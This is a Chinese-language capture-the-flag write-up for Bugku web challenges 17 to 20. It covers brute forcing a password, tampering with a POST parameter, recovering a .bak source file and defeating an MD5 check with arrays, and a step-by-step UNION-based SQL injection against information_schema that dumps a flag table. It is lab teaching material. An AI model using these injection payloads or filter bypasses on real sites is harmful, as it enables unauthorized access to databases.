bugku 17-20 write up(web)

一、第17题(输入密码查看flag)。

暴力破解,可得密码,然后输入密码可得flag
flag{bugku-baopo-hah}

二、 第18题(点击一百万次)

在这里插入图片描述
查看源码可以发现,url以post的方式提交点击的次数,那么使用hacker的post功能,直接修改clicks=1000000,即可得出flag
在这里插入图片描述

三、第19题(备份是个好习惯)

小知识:备份文件的扩展名一般为*.swp,.bak
打开题目是一串字母,应该是MD5加密我们拿去解密下,竟然为空。
看看题目的提示,备份是个好习惯,是让我们寻找 .bak文件的
我们用御剑扫描后台,得出
在这里插入图片描述
那么尝试下http://123.06.87.240:8002/web16/index.php.bak
成功下载源码

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//代码从?后开始截取到str中,也就是变量后开始截取字符串
$str = substr($str,1);//取$str中左边第1位开始取1位。
$str = str_replace('key','',$str);//在字符串$str中找到字符串key,并把它替换成空;
parse_str($str);//把查询字符串解析到变量中;
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}

代码要求我们构造出key1和key2的md5值相等,而它们本身却不相等,这时候用到一个小知识点:md5无法对数组进行构造,构造的结果都为NULL,这样我们只要让key1和key2是两个数组就可以了,(kekeyy绕过过滤key)
在这里插入图片描述

四、第20题(成绩单)在这里插入代码片

我们先输入1发现输出
在这里插入图片描述
输入-1发现没有输出信息
说明存在sql注入。
那么我们尝试下
输入 -1' union select 1,2,3,database()#
在这里插入图片描述
发现flag的所在的数据库
输入-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述
爆出flag所在的表

输入-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
vaoc
爆出flag所在的字段

输入-1' union select 1,2,3,skctf_flag from fl4g#

在这里插入图片描述
爆出flag为BUGKU{Sql_INJECT0N_4813drd8hz4}

0%